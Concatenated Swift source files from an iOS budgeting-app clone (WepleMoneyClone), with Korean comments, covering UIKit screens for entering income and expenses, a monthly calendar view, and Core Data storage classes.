checkCardLabel.layer.backgroundColor = UIColor(rgb: 0x6ABA78).cgColor
checkCardLabel.font = UIFont.systemFont(ofSize: 19)
checkCardLabel.textColor = .white
checkCardLabel.textAlignment = .center
checkCardLabel.text = "체크카드"
checkCardLabel.isUserInteractionEnabled = true // tap gesture을 사용하기 위함
return checkCardLabel
}()
lazy var creditCardLabel: UILabel = {
let creditCardLabel: UILabel = UILabel(frame: .zero)
creditCardLabel.translatesAutoresizingMaskIntoConstraints = false
creditCardLabel.layer.cornerRadius = 22.5
creditCardLabel.layer.borderColor = .none
creditCardLabel.layer.backgroundColor = UIColor(rgb: 0x86D6FB).cgColor
creditCardLabel.font = UIFont.systemFont(ofSize: 19)
creditCardLabel.textColor = .white
creditCardLabel.textAlignment = .center
creditCardLabel.text = "신용카드"
creditCardLabel.isUserInteractionEnabled = true // tap gesture을 사용하기 위함
return creditCardLabel
}()
var dataModel: ExpenseInfoModel?
private let expenseDAO: ExpenseDAO = ExpenseDAO()
override func viewDidLoad() {
super.viewDidLoad()
let tapGestureRecognizer1: UITapGestureRecognizer = UITapGestureRecognizer(target: self, action: #selector(cashLabelDidTap))
let tapGestureRecognizer2: UITapGestureRecognizer = UITapGestureRecognizer(target: self, action: #selector(checkCardLabelDidTap))
let tapGestureRecognizer3: UITapGestureRecognizer = UITapGestureRecognizer(target: self, action: #selector(creditCardLabelDidTap))
cashLabel.addGestureRecognizer(tapGestureRecognizer1)
checkCardLabel.addGestureRecognizer(tapGestureRecognizer2)
creditCardLabel.addGestureRecognizer(tapGestureRecognizer3)
makeUI()
}
private func makeUI() {
self.view.addSubview(backButton)
self.view.addSubview(closeButton)
self.view.addSubview(cashLabel)
self.view.addSubview(checkCardLabel)
self.view.addSubview(creditCardLabel)
backButton.topAnchor.constraint(equalTo: self.view.safeAreaLayoutGuide.topAnchor, constant: 10).isActive = true
backButton.leftAnchor.constraint(equalTo: self.view.safeAreaLayoutGuide.leftAnchor, constant: 15).isActive = true
closeButton.topAnchor.constraint(equalTo: self.view.safeAreaLayoutGuide.topAnchor, constant: 10).isActive = true
closeButton.rightAnchor.constraint(equalTo: self.view.safeAreaLayoutGuide.rightAnchor, constant: -20).isActive = true
cashLabel.topAnchor.constraint(equalTo: self.view.safeAreaLayoutGuide.topAnchor, constant: 130).isActive = true
cashLabel.centerXAnchor.constraint(equalTo: self.view.safeAreaLayoutGuide.centerXAnchor).isActive = true
cashLabel.heightAnchor.constraint(equalToConstant: 45).isActive = true
cashLabel.widthAnchor.constraint(equalToConstant: 200).isActive = true
checkCardLabel.topAnchor.constraint(equalTo: self.cashLabel.bottomAnchor, constant: 15).isActive = true
checkCardLabel.centerXAnchor.constraint(equalTo: self.view.safeAreaLayoutGuide.centerXAnchor).isActive = true
checkCardLabel.heightAnchor.constraint(equalToConstant: 45).isActive = true
checkCardLabel.widthAnchor.constraint(equalToConstant: 200).isActive = true
creditCardLabel.topAnchor.constraint(equalTo: self.checkCardLabel.bottomAnchor, constant: 15).isActive = true
creditCardLabel.centerXAnchor.constraint(equalTo: self.view.safeAreaLayoutGuide.centerXAnchor).isActive = true
creditCardLabel.heightAnchor.constraint(equalToConstant: 45).isActive = true
creditCardLabel.widthAnchor.constraint(equalToConstant: 200).isActive = true
}
@objc private func backButtonDidTap() {
let transition: CATransition = CATransition()
transition.duration = 0.3
transition.type = CATransitionType.push
transition.subtype = CATransitionSubtype.fromLeft
transition.timingFunction = CAMediaTimingFunction(name:CAMediaTimingFunctionName.easeInEaseOut)
self.view.window!.layer.add(transition, forKey: kCATransition)
self.dismiss(animated: false)
}
@objc private func closeButtonDidTap() {
var currentVC: UIViewController? = self // 현재 뷰컨
while(currentVC != nil) {
let tmpVC: UIViewController? = currentVC?.presentingViewController // 현재 뷰컨을 present시킨 뷰컨
if(tmpVC?.presentedViewController == nil) { // tmpVC에 의해 present 되어진 뷰컨
currentVC?.dismiss(animated: true, completion: nil)
break
}
currentVC = tmpVC
}
}
@objc private func cashLabelDidTap() {
print("cash label did Tap")
guard let model = dataModel else {
print("Error occured in cashLabelDidTap function")
return
}
model.payment = "현금"
expenseDAO.saveHistory(model)
closeButtonDidTap()
NotificationCenter.default.post(name: NSNotification.Name("AddHistoryNotification"), object: nil)
}
@objc private func checkCardLabelDidTap() {
print("checkCard label did Tap")
guard let model = dataModel else {
print("Error occured in cashLabelDidTap function")
return
}
model.payment = "체크카드"
expenseDAO.saveHistory(model)
closeButtonDidTap()
NotificationCenter.default.post(name: NSNotification.Name("AddHistoryNotification"), object: nil)
}
@objc func creditCardLabelDidTap() {
print("creditCard label did Tap")
let test = expenseDAO.fetch(yearMonth: dataModel?.yearMonth ?? "202012")
for tt in test {
expenseDAO.delete(tt.objectID!)
}
let testt = expenseDAO.fetch(yearMonth: dataModel?.yearMonth ?? "202101")
for tt in testt {
expenseDAO.delete(tt.objectID!)
}
}
}
<file_sep>/WepleMoneyClone/WepleMoneyClone/Model/IncomeInfoModel.swift
//
// IncomeInfoModel.swift
// WepleMoneyClone
//
// Created by kakao on 2021/01/14.
//
class IncomeInfoModel: InfoModel { }
<file_sep>/WepleMoneyClone/WepleMoneyClone/MonthCalendarCollectionViewCell.swift
//
// MonthCalendarCollectionViewCell.swift
// WepleMoneyClone
//
// Created by kakao on 2021/01/04.
//
import Foundation
import UIKit
enum cellStatus {
case selected
case unselected
}
final class MonthCalendarCollectionViewCell: UICollectionViewCell {
static let height: CGFloat = 55
static let identifier: String = "MonthCalendarCollectionViewCell"
private var incomeMoneyLabelTopConstraint: NSLayoutConstraint!
private var expenseMoneyLabelTopConstraint: NSLayoutConstraint!
var currentDayString: String!
var currentDate: Date!
lazy var dayLabel: UILabel = {
let dayLabel: UILabel = UILabel(frame: .zero)
dayLabel.font = UIFont.systemFont(ofSize: 12)
dayLabel.textColor = .black
dayLabel.textAlignment = .center
dayLabel.translatesAutoresizingMaskIntoConstraints = false
return dayLabel
}()
lazy var incomeMoneyLabel: UILabel = {
let incomeMoneyLabel: UILabel = UILabel(frame: .zero)
incomeMoneyLabel.font = UIFont.systemFont(ofSize: 10)
incomeMoneyLabel.textColor = .systemGreen
incomeMoneyLabel.textAlignment = .center
incomeMoneyLabel.translatesAutoresizingMaskIntoConstraints = false
return incomeMoneyLabel
}()
lazy var expenseMoneyLabel: UILabel = {
let expenseMoneyLabel: UILabel = UILabel(frame: .zero)
expenseMoneyLabel.font = UIFont.systemFont(ofSize: 10)
expenseMoneyLabel.textColor = UIColor(rgb: 0xF68DA9)
expenseMoneyLabel.textAlignment = .center
expenseMoneyLabel.translatesAutoresizingMaskIntoConstraints = false
return expenseMoneyLabel
}()
var isCurrentMonth: Bool = true
var isToday: Bool = false {
didSet {
if isToday == true {
dayLabel.font = UIFont.boldSystemFont(ofSize: 12)
dayLabel.textColor = .red
self.contentView.backgroundColor = UIColor.systemGray.withAlphaComponent(0.05)
} else {
if isCurrentMonth == false {
dayLabel.textColor = .lightGray
} else if currentDayString == "토" {
dayLabel.textColor = .systemPink
} else if currentDayString == "일" {
dayLabel.textColor = .systemBlue
} else {
dayLabel.textColor = .black
}
dayLabel.font = UIFont.systemFont(ofSize: 12)
self.contentView.backgroundColor = .clear
}
}
}
var expenseModel: [ExpenseInfoModel] = [] {
didSet {
decideLabelsPosistion()
if !expenseModel.isEmpty && isCurrentMonth == true {
let totalPrice: Int32 = caculateExpenseTotalPrice()
expenseMoneyLabel.text = String(totalPrice)
}
}
}
var incomeModel: [IncomeInfoModel] = [] {
didSet {
if !incomeModel.isEmpty && isCurrentMonth == true {
let totalPrice: Int32 = caculateIncomeTotalPrice()
incomeMoneyLabel.text = totalPrice.description
}
}
}
override var isSelected: Bool {
didSet {
if isSelected == true {
dayLabel.textColor = .white
dayLabel.font = UIFont.boldSystemFont(ofSize: 12)
expenseMoneyLabel.textColor = .white
self.contentView.backgroundColor = UIColor(rgb: 0xFFAADD)
self.layer.shadowColor = UIColor.black.cgColor
self.layer.shadowRadius = 30
self.layer.shadowOpacity = 0.2
if isCurrentMonth == false {
dayLabel.textColor = .lightGray
}
SingleTon.shared.selectedDate = currentDate
}
}
}
override init(frame: CGRect) {
super.init(frame: frame)
self.backgroundColor = .clear
makeUI()
}
required init?(coder: NSCoder) {
fatalError("init(coder:) has not been implemented")
}
override func prepareForReuse() {
super.prepareForReuse()
self.isCurrentMonth = true
self.dayLabel.text = ""
self.dayLabel.textColor = .black
self.expenseMoneyLabel.textColor = UIColor(rgb: 0xF68DA9)
self.expenseMoneyLabel.text = ""
self.incomeMoneyLabel.textColor = .systemGreen
self.incomeMoneyLabel.text = ""
}
private func makeUI() {
self.contentView.addSubview(dayLabel)
self.contentView.addSubview(expenseMoneyLabel)
self.contentView.addSubview(incomeMoneyLabel)
dayLabel.topAnchor.constraint(equalTo: self.contentView.topAnchor).isActive = true
dayLabel.leftAnchor.constraint(equalTo: self.contentView.leftAnchor).isActive = true
dayLabel.rightAnchor.constraint(equalTo: self.contentView.rightAnchor).isActive = true
dayLabel.heightAnchor.constraint(equalToConstant: 20).isActive = true
incomeMoneyLabelTopConstraint = incomeMoneyLabel.topAnchor.constraint(equalTo: self.dayLabel.bottomAnchor, constant: 2)
incomeMoneyLabelTopConstraint.isActive = true
incomeMoneyLabel.leftAnchor.constraint(equalTo: self.dayLabel.leftAnchor).isActive = true
incomeMoneyLabel.rightAnchor.constraint(equalTo: self.dayLabel.rightAnchor).isActive = true
expenseMoneyLabelTopConstraint = expenseMoneyLabel.topAnchor.constraint(equalTo: self.dayLabel.bottomAnchor, constant: 15)
expenseMoneyLabelTopConstraint.isActive = true
expenseMoneyLabel.leftAnchor.constraint(equalTo: self.dayLabel.leftAnchor).isActive = true
expenseMoneyLabel.rightAnchor.constraint(equalTo: self.dayLabel.rightAnchor).isActive = true
}
private func decideLabelsPosistion() {
if expenseModel.isEmpty {
incomeMoneyLabelTopConstraint.constant = 5
} else if incomeModel.isEmpty {
expenseMoneyLabelTopConstraint.constant = 5
} else {
incomeMoneyLabelTopConstraint.constant = 2
expenseMoneyLabelTopConstraint.constant = 15
}
}
private func caculateExpenseTotalPrice() -> Int32 {
let prices: [Int32] = self.expenseModel.map( {$0.price ?? 0} )
return prices.reduce(0){ $0 + $1 }
}
private func caculateIncomeTotalPrice() -> Int32 {
let prices: [Int32] = self.incomeModel.map( {$0.price ?? 0} )
return prices.reduce(0){ $0 + $1 }
}
}
<file_sep>/WepleMoneyClone/WepleMoneyClone/AddHistory/ViewController/AddDealHistoryViewController.swift
//
// AddDealHistoryViewController.swift
// WepleMoneyClone
//
// Created by kakao on 2021/01/09.
//
import UIKit
final class AddDealHistoryViewController: UIViewController {
lazy var dateLabel: UILabel = {
let dateLabel: UILabel = UILabel(frame: .zero)
dateLabel.translatesAutoresizingMaskIntoConstraints = false
dateLabel.textColor = .lightGray
dateLabel.font = UIFont.systemFont(ofSize: 17)
dateLabel.text = parseSelectedDate()
return dateLabel
}()
lazy var closeButton: UIButton = {
let button: UIButton = UIButton(frame: .zero)
button.translatesAutoresizingMaskIntoConstraints = false
button.setImage(UIImage(named: "closeButton"), for: .normal)
button.addTarget(self, action: #selector(closeButtonDidTap), for: .touchUpInside)
return button
}()
lazy var wonLabel: UILabel = {
let wonLabel: UILabel = UILabel(frame: .zero)
wonLabel.translatesAutoresizingMaskIntoConstraints = false
wonLabel.textColor = .black
wonLabel.font = UIFont.systemFont(ofSize: 70)
wonLabel.text = "₩"
return wonLabel
}()
lazy var moneyField: UITextField = {
let moneyField: UITextField = UITextField(frame: .zero)
moneyField.translatesAutoresizingMaskIntoConstraints = false
moneyField.textColor = .systemBlue
moneyField.font = UIFont.systemFont(ofSize: 70)
moneyField.textAlignment = .right
moneyField.keyboardType = .numberPad
moneyField.becomeFirstResponder()
moneyField.text = "0"
moneyField.addTarget(self, action: #selector(moneyFieldDidChange), for: .editingChanged)
return moneyField
}()
lazy var incomeButton: UIButton = {
let button: UIButton = UIButton(frame: .zero)
button.translatesAutoresizingMaskIntoConstraints = false
button.setTitleColor(.white, for: .normal)
button.setTitle("입금", for: .normal)
button.addTarget(self, action: #selector(incomeButtonDidTap), for: .touchUpInside)
button.backgroundColor = UIColor(rgb: 0x52C66E)
button.layer.cornerRadius = 10
return button
}()
lazy var expenseButton: UIButton = {
let button: UIButton = UIButton(frame: .zero)
button.translatesAutoresizingMaskIntoConstraints = false
button.setTitleColor(.white, for: .normal)
button.setTitle("지출", for: .normal)
button.addTarget(self, action: #selector(expenseButtonDidTap), for: .touchUpInside)
button.backgroundColor = .systemPink
button.layer.cornerRadius = 10
return button
}()
var dataModel: InfoModel?
override func viewDidLoad() {
super.viewDidLoad()
makeUI()
}
private func makeUI() {
self.view.addSubview(dateLabel)
self.view.addSubview(closeButton)
self.view.addSubview(wonLabel)
self.view.addSubview(moneyField)
self.view.addSubview(incomeButton)
self.view.addSubview(expenseButton)
dateLabel.topAnchor.constraint(equalTo: self.view.safeAreaLayoutGuide.topAnchor, constant: 10).isActive = true
dateLabel.leftAnchor.constraint(equalTo: self.view.safeAreaLayoutGuide.leftAnchor, constant: 20).isActive = true
closeButton.topAnchor.constraint(equalTo: self.view.safeAreaLayoutGuide.topAnchor, constant: 10).isActive = true
closeButton.rightAnchor.constraint(equalTo: self.view.safeAreaLayoutGuide.rightAnchor, constant: -20).isActive = true
wonLabel.topAnchor.constraint(equalTo: dateLabel.bottomAnchor, constant: 50).isActive = true
wonLabel.leftAnchor.constraint(equalTo: self.view.safeAreaLayoutGuide.leftAnchor, constant: 10).isActive = true
moneyField.topAnchor.constraint(equalTo: wonLabel.topAnchor, constant: -7).isActive = true
moneyField.rightAnchor.constraint(equalTo: closeButton.rightAnchor).isActive = true
moneyField.leftAnchor.constraint(equalTo: wonLabel.rightAnchor, constant: 20).isActive = true
incomeButton.topAnchor.constraint(equalTo: wonLabel.bottomAnchor, constant: 60).isActive = true
incomeButton.leftAnchor.constraint(equalTo: self.view.safeAreaLayoutGuide.leftAnchor, constant: 55).isActive = true
incomeButton.rightAnchor.constraint(equalTo: self.view.safeAreaLayoutGuide.centerXAnchor, constant: -20).isActive = true
incomeButton.heightAnchor.constraint(equalToConstant: 50).isActive = true
expenseButton.topAnchor.constraint(equalTo: incomeButton.topAnchor).isActive = true
expenseButton.leftAnchor.constraint(equalTo: self.view.safeAreaLayoutGuide.centerXAnchor, constant: 20).isActive = true
expenseButton.rightAnchor.constraint(equalTo: self.view.safeAreaLayoutGuide.rightAnchor, constant: -55).isActive = true
expenseButton.heightAnchor.constraint(equalToConstant: 50).isActive = true
}
private func parseSelectedDate() -> String {
guard let date = dataModel?.date else {
return ""
}
let dateformatter: DateFormatter = DateFormatter()
dateformatter.dateFormat = "yyyy/MM/dd"
dateformatter.timeZone = TimeZone(abbreviation: "UTC")
return dateformatter.string(from: date)
}
@objc private func closeButtonDidTap() {
self.dismiss(animated: true, completion: nil)
}
@objc private func incomeButtonDidTap() {
if let selectIncomeCategoryVC = self.storyboard?.instantiateViewController(identifier: "SelectIncomeCategoryViewController") as? SelectIncomeCategoryViewController {
let transition: CATransition = CATransition()
transition.type = CATransitionType.push
transition.duration = 0.3
transition.subtype = CATransitionSubtype.fromRight
transition.timingFunction = CAMediaTimingFunction(name:CAMediaTimingFunctionName.easeInEaseOut)
view.window!.layer.add(transition, forKey: kCATransition)
dataModel?.price = Int32(moneyField.text ?? "0")
selectIncomeCategoryVC.modalPresentationStyle = .fullScreen
let incomeInfoModel: IncomeInfoModel = IncomeInfoModel()
incomeInfoModel.price = dataModel?.price
incomeInfoModel.date = dataModel?.date
incomeInfoModel.yearMonth = dataModel?.yearMonth
selectIncomeCategoryVC.dataModel = incomeInfoModel
self.present(selectIncomeCategoryVC, animated: false, completion: nil)
}
}
@objc private func expenseButtonDidTap() {
if let selectExpenseCategoryVC = self.storyboard?.instantiateViewController(identifier: "SelectExpenseCategoryViewController") as? SelectExpenseCategoryViewController {
let transition: CATransition = CATransition()
transition.type = CATransitionType.push
transition.duration = 0.3
transition.subtype = CATransitionSubtype.fromRight
transition.timingFunction = CAMediaTimingFunction(name:CAMediaTimingFunctionName.easeInEaseOut)
view.window!.layer.add(transition, forKey: kCATransition)
dataModel?.price = Int32(moneyField.text ?? "0")
selectExpenseCategoryVC.modalPresentationStyle = .fullScreen
let expenseInfoModel: ExpenseInfoModel = ExpenseInfoModel()
expenseInfoModel.price = dataModel?.price
expenseInfoModel.date = dataModel?.date
expenseInfoModel.yearMonth = dataModel?.yearMonth
selectExpenseCategoryVC.dataModel = expenseInfoModel
self.present(selectExpenseCategoryVC, animated: false, completion: nil)
}
}
@objc private func moneyFieldDidChange() {
guard let text = moneyField.text else { return }
if !text.isEmpty {
if text.first == "0" {
let returnText: String = String(text.dropFirst(1))
moneyField.text = returnText
}
} else {
moneyField.text = "0"
}
}
}
<file_sep>/WepleMoneyClone/WepleMoneyClone/DetailView/ReceiptDetailViewController.swift
//
// ReceiptDetailViewController.swift
// WepleMoneyClone
//
// Created by kakao on 2021/01/27.
//
import UIKit
import Foundation
final class ReceiptDetailViewController: UIViewController {
var incomeInfo: IncomeInfoModel? {
didSet {
}
}
var expenseInfo: ExpenseInfoModel? {
didSet {
}
}
override func viewDidLoad() {
super.viewDidLoad()
self.view.backgroundColor = UIColor(rgb: 0xF8F9F6)
initNav()
}
private func initNav() {
self.navigationController?.navigationBar.tintColor = UIColor(rgb: 0x864143) // navigation items와 barButtonItems에 적용되는 색상
self.navigationController?.navigationBar.titleTextAttributes = [.foregroundColor: UIColor.black ] // 네비게이션 타이틀에 적용되는 색상
self.navigationController?.navigationBar.barTintColor = UIColor(rgb: 0xF0F2EF) // 네비게이션바 배경에 적용되는 색상
if self.incomeInfo != nil {
self.navigationItem.title = "입금 영수증"
} else {
self.navigationItem.title = "지출 영수증"
}
let rightBarButtonItem: UIBarButtonItem = UIBarButtonItem(image: .remove, style: .plain, target: nil, action: nil)
self.navigationItem.rightBarButtonItem = rightBarButtonItem
}
}
<file_sep>/WepleMoneyClone/WepleMoneyClone/Model/IncomeDAO.swift
//
// IncomeDAO.swift
// WepleMoneyClone
//
// Created by kakao on 2021/01/14.
//
import UIKit
import CoreData
final class IncomeDAO {
lazy var context: NSManagedObjectContext = {
let appDelegate: AppDelegate = UIApplication.shared.delegate as! AppDelegate
return appDelegate.persistentContainer.viewContext
}()
func fetch(yearMonth: String) -> [IncomeInfoModel] {
var IncomeInfoList: [IncomeInfoModel] = []
let fetchRequest: NSFetchRequest<IncomeInfo> = IncomeInfo.fetchRequest() // 요청 객체 생성. fetchRequest 메서드는 NSManagedObject와 IncomeInfo 클래스에서 각각 정의되있고 이들은 오버라이드 관계가 아니어서 서로 다른 타입을 반환하게 된다. 따라서 타입 어노테이션을 누락하면 컴파일 에러가 발생
let regdateDesc: NSSortDescriptor = NSSortDescriptor(key: "createAt", ascending: false) // 최신 내역 순으로 정렬하도록 정렬 객체 생성
fetchRequest.sortDescriptors = [regdateDesc]
if !yearMonth.isEmpty {
fetchRequest.predicate = NSPredicate(format: "yearMonth == %@", yearMonth)
} else {
print("Error! fetch string is empty.")
return IncomeInfoList
}
do {
// 읽어온 결과 집합을 순회하면서 [IncomeInfoModel] 타입으로 변환한다.
let resultset: [IncomeInfo] = try self.context.fetch(fetchRequest)
for record in resultset {
// IncomeInfoModel 객체를 생성한다.
let model: IncomeInfoModel = IncomeInfoModel()
model.category = record.category
model.createAt = record.createAt
model.date = record.date
model.info = record.info
model.objectID = record.objectID
model.price = record.price
model.repeatCycle = record.repeatCycle
model.yearMonth = record.yearMonth
// 이미지가 있을 때만 복사
if let image = record.photo as Data? {
model.photo = UIImage(data: image)
}
IncomeInfoList.append(model)
}
} catch let error as NSError {
NSLog("An error has occured : %s", error.localizedDescription)
}
return IncomeInfoList
}
func fetchAtCertainDate(date: Date) -> [IncomeInfoModel] {
var IncomeInfoList: [IncomeInfoModel] = []
let fetchRequest: NSFetchRequest<IncomeInfo> = IncomeInfo.fetchRequest() // 요청 객체 생성. fetchRequest 메서드는 NSManagedObject와 IncomeInfo 클래스에서 각각 정의되있고 이들은 오버라이드 관계가 아니어서 서로 다른 타입을 반환하게 된다. 따라서 타입 어노테이션을 누락하면 컴파일 에러가 발생
let regdateDesc: NSSortDescriptor = NSSortDescriptor(key: "createAt", ascending: false) // 최신 내역 순으로 정렬하도록 정렬 객체 생성
fetchRequest.sortDescriptors = [regdateDesc]
fetchRequest.predicate = NSPredicate(format: "date == %@", date as CVarArg)
do {
// 읽어온 결과 집합을 순회하면서 [IncomeInfoModel] 타입으로 변환한다.
let resultset: [IncomeInfo] = try self.context.fetch(fetchRequest)
for record in resultset {
// IncomeInfoModel 객체를 생성한다.
let model: IncomeInfoModel = IncomeInfoModel()
model.category = record.category
model.createAt = record.createAt
model.date = record.date
model.info = record.info
model.objectID = record.objectID
model.price = record.price
model.repeatCycle = record.repeatCycle
model.yearMonth = record.yearMonth
// 이미지가 있을 때만 복사
if let image = record.photo as Data? {
model.photo = UIImage(data: image)
}
IncomeInfoList.append(model)
}
} catch let error as NSError {
NSLog("An error has occured : %s", error.localizedDescription)
}
return IncomeInfoList
}
func saveHistory(_ data: IncomeInfoModel) {
let object: IncomeInfo = NSEntityDescription.insertNewObject(forEntityName: "IncomeInfo", into: self.context) as! IncomeInfo // 관리 객체 인스턴스 생성
// IncomeInfoModel로 부터 값을 복사한다.
object.category = data.category
object.createAt = Date()
object.date = data.date
object.info = data.info
object.memo = data.memo ?? ""
object.price = data.price ?? 0
object.yearMonth = data.yearMonth ?? "0"
object.repeatCycle = data.repeatCycle ?? ""
if let image = data.photo {
object.photo = image.pngData()!
}
// 영구저장소에 변경사항을 반영한다.
do {
try self.context.save()
} catch let error as NSError {
NSLog("An error has occured : %s", error.localizedDescription)
}
}
func delete(_ objectID: NSManagedObjectID) -> Bool {
// 삭제할 객체를 찾아, 컨텍스트에서 삭제한다.
let object: NSManagedObject = self.context.object(with: objectID)
self.context.delete(object)
do {
// 삭제한 내역을 영구저장소에 반환한다.
try self.context.save()
return true
} catch let error as NSError {
NSLog("An error has occured : %s", error.localizedDescription)
return false
}
}
}
<file_sep>/WepleMoneyClone/WepleMoneyClone/DailyHistoryInfoTableView.swift
//
// MonthCalendarTableView.swift
// WepleMoneyClone
//
// Created by kakao on 2021/01/12.
//
import Foundation
import UIKit
final class DailyHistoryInfoTableView: UITableView {
enum Status {
case empty
case notEmpty
}
var expenseInfo: [ExpenseInfoModel] = []
var incomeInfo: [IncomeInfoModel] = []
var status: Status {
get {
if expenseInfo.isEmpty && incomeInfo.isEmpty {
self.separatorStyle = .none // 셀 구분선 없도록 처리
return .empty
} else {
self.separatorStyle = .singleLine
return .notEmpty
}
}
}
}
<file_sep>/WepleMoneyClone/WepleMoneyClone/MonthCalendarCollectionView.swift
//
// MonthCalendarCollectionView.swift
// WepleMoneyClone
//
// Created by kakao on 2021/01/04.
//
import Foundation
import UIKit
final class MonthCalendarCollectionView: UICollectionView {
var dayArr: [Int] = [] // 캘린더상 노출되는 날짜들의 집합
var numOfRow: Int = 0 // 캘린더상 노출되는 week의 개수
var startIndex: Int = 0 // 이번달의 시작 날짜의 index
var endIndex: Int = 0 // 이번달의 마지막 날짜의 index
var currentYear: Int!
var currentMonth: Int! {
didSet {
//expenseInfoList = []
dayArr = []
makeDayArr()
calculateNumOfRow()
reloadData()
}
}
var currentDay: Int!
var expenseInfoList: [ExpenseInfoModel] = []
var incomeInfoList: [IncomeInfoModel] = []
private func makeDayArr() {
var dateComponents: DateComponents = DateComponents()
dateComponents.year = currentYear
dateComponents.month = currentMonth
dateComponents.day = 1
dateComponents.timeZone = .current
var calendar: Calendar = Calendar(identifier: .gregorian)
calendar.locale = Locale(identifier: "ko")
guard let currentDate = calendar.date(from: dateComponents) else {
print("Error occured in makeDayArr function")
return
}
// 여기에 기입하지 않은 날짜는 1로 초기화가 된다
let components: DateComponents = calendar.dateComponents([.year, .month], from: currentDate)
// 이번 달의 시작 날짜를 구한다.
let startOfCurrentMonth: Date = calendar.date(from: components)!
// 이번 달의 마지막 날짜를 구한다.
let nextMonth: Date = calendar.date(byAdding: .month, value: +1, to: startOfCurrentMonth)!
let endOfCurrentMonth: Date = calendar.date(byAdding: .day, value: -1, to:nextMonth)!
// 이전 달의 마지막 날짜를 구한다.
let beforeMonth: Date = calendar.date(byAdding: .day, value: -1, to: startOfCurrentMonth)!
let currentMonthStartDateComponents: DateComponents = calendar.dateComponents([.day,.weekday,.weekOfMonth], from: startOfCurrentMonth)
let currentMonthEndDateComponents: DateComponents = calendar.dateComponents([.day,.weekday,.weekOfMonth], from: endOfCurrentMonth)
let beforeMonthEndDateComponents: DateComponents = calendar.dateComponents([.day,.weekday,.weekOfMonth], from: beforeMonth)
let weekArr: [String] = calendar.shortWeekdaySymbols
var currentMonthStartDay: String = ""
var currentMonthEndDay: String = ""
// 이번 달의 시작요일과 마지막요일을 구한다.
if let startDay = currentMonthStartDateComponents.weekday, let endDay = currentMonthEndDateComponents.weekday {
currentMonthStartDay = weekArr[startDay-1]
currentMonthEndDay = weekArr[endDay-1]
}
// 캘린더상에 비활성화 노출될 이전달의 날들을 배열에 추가한다.
if let index = DayCollectionView.daySringArr.firstIndex(of: currentMonthStartDay) {
let beforeMonthEndDay: Int = beforeMonthEndDateComponents.day!
for i in 0..<index {
dayArr.append(beforeMonthEndDay - index + i + 1)
}
}
// 이번달의 날들을 배열에 추가한다.
for day in currentMonthStartDateComponents.day!...currentMonthEndDateComponents.day! {
dayArr.append(day)
}
// 캘린더상에 비활성화 노출될 다음달의 날들을 배열에 추가한다.
if let index = DayCollectionView.daySringArr.firstIndex(of: currentMonthEndDay) {
for i in 0..<6-index {
dayArr.append(1 + i)
}
}
// 이번 달의 시작날짜, 마지막날짜의 index를 계산한다.
calculateStartEndIndexs(startDay: currentMonthStartDateComponents.day!, endDay: currentMonthEndDateComponents.day!)
}
private func calculateNumOfRow() {
numOfRow = Int(dayArr.count / 7)
}
private func calculateStartEndIndexs(startDay: Int, endDay: Int) {
if let index = dayArr.firstIndex(of: startDay) {
startIndex = index
}
if let index = dayArr.lastIndex(of: endDay) {
endIndex = index
}
}
func fetchOneDayExpenseInfoModel(date: Date) -> [ExpenseInfoModel] {
return expenseInfoList.filter({ $0.date == date })
}
func fetchOneDayIncomeInfoModel(date: Date) -> [IncomeInfoModel] {
return incomeInfoList.filter({ $0.date == date })
}
}
<file_sep>/WepleMoneyClone/WepleMoneyClone/MonthlyView(Main)/ViewController/MonthCalendarViewController+UICollectionView.swift
//
// MonthCalendarViewController+UICollectionView.swift
// WepleMoneyClone
//
// Created by kakao on 2021/01/04.
//
import UIKit
extension MonthCalendarViewController: UICollectionViewDataSource {
func numberOfSections(in collectionView: UICollectionView) -> Int {
return 1
}
func collectionView(_ collectionView: UICollectionView, numberOfItemsInSection section: Int) -> Int {
guard let collectionView = collectionView as? MonthCalendarCollectionView else {
return 0
}
return collectionView.dayArr.count
}
func collectionView(_ collectionView: UICollectionView, cellForItemAt indexPath: IndexPath) -> UICollectionViewCell {
if let collectionView = collectionView as? MonthCalendarCollectionView {
guard let cell = collectionView.dequeueReusableCell(withReuseIdentifier: MonthCalendarCollectionViewCell.identifier, for: indexPath) as? MonthCalendarCollectionViewCell else {
return UICollectionViewCell()
}
let isUnActiveCell: Bool = indexPath.row < collectionView.startIndex || indexPath.row > collectionView.endIndex
if isUnActiveCell {
cell.isCurrentMonth = false // 비활성화되는 셀
}
let currentDayString: String = DayCollectionView.daySringArr[indexPath.row % 7]
cell.currentDayString = currentDayString // 셀에 해당하는 요일
let dayNum: Int = collectionView.dayArr[indexPath.row]
let dayString: String = String(format: "%02d", dayNum) // 셀의 날짜
if let todayDay = currentDay, todayDay == dayNum && !isUnActiveCell {
cell.isToday = true
} else {
cell.isToday = false
}
cell.dayLabel.text = String(dayNum)
var currentDate: Date
if indexPath.row < collectionView.startIndex {
if currentMonth == 1 {
currentDate = dateformatter.date(from: "\(currentYear! - 1) 12 \(dayString)") ?? Date()
} else {
currentDate = dateformatter.date(from: "\(currentYear!) \(currentMonth! - 1) \(dayString)") ?? Date()
}
} else if indexPath.row > collectionView.endIndex {
if currentMonth == 12 {
currentDate = dateformatter.date(from: "\(currentYear! + 1) 1 \(dayString)") ?? Date()
} else {
currentDate = dateformatter.date(from: "\(currentYear!) \(currentMonth! + 1) \(dayString)") ?? Date()
}
} else {
currentDate = dateformatter.date(from: "\(currentYear!) \(currentMonth!) \(dayString)") ?? Date()
}
cell.currentDate = currentDate
if let selectedDate = SingleTon.shared.selectedDate {
if selectedDate == cell.currentDate && isUnActiveCell == false {
cell.isSelected = true
} else {
cell.isSelected = false
}
}
cell.incomeModel = collectionView.fetchOneDayIncomeInfoModel(date: currentDate)
cell.expenseModel = collectionView.fetchOneDayExpenseInfoModel(date: currentDate)
return cell
}
return UICollectionViewCell()
}
func collectionView(_ collectionView: UICollectionView, didSelectItemAt indexPath: IndexPath) {
guard let collectionView = collectionView as? MonthCalendarCollectionView else { return }
if let cell = collectionView.cellForItem(at: indexPath) as? MonthCalendarCollectionViewCell {
if cell.isCurrentMonth == true {
self.showDailyHistoryInfo?(cell.expenseModel, cell.incomeModel)
} else {
if indexPath.row < collectionView.startIndex {
if currentMonth == 1 {
self.goPreviousPage?(self.currentYear! - 1, 12)
} else {
self.goPreviousPage?(self.currentYear!, self.currentMonth! - 1)
}
} else if indexPath.row > collectionView.endIndex {
if currentMonth == 12 {
self.goNextPage?(self.currentYear! + 1, 1)
} else {
self.goNextPage?(self.currentYear!, self.currentMonth! + 1)
}
}
}
}
collectionView.reloadData()
}
}
extension MonthCalendarViewController: UICollectionViewDelegate {
}
